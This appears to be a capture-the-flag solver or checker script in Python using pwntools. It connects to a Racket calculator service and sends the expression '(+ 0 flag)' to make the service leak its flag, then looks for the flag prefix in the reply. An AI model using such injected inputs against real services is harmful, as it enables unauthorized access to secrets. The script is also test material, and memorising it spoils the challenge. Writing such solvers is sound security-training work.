26 lines
449 B
Python
26 lines
449 B
Python
from pwn import *
|
|
import sys
|
|
import re
|
|
|
|
# Arg1: IP, Arg2: Port
|
|
|
|
#io = process(['racket ../calculator-app.rkt'])
|
|
try:
|
|
io = remote(sys.argv[1], sys.argv[2])
|
|
except:
|
|
print("Challenge not available")
|
|
exit(1)
|
|
|
|
print(io.recv(3))
|
|
io.sendline("(+ 0 flag)")
|
|
print(io.recvline())
|
|
print(io.recvline())
|
|
res = io.recvline()
|
|
print(res)
|
|
if re.findall('FTCGI', str(res)):
|
|
print("Found flag")
|
|
exit(0)
|
|
else:
|
|
print("No flag found")
|
|
exit(1)
|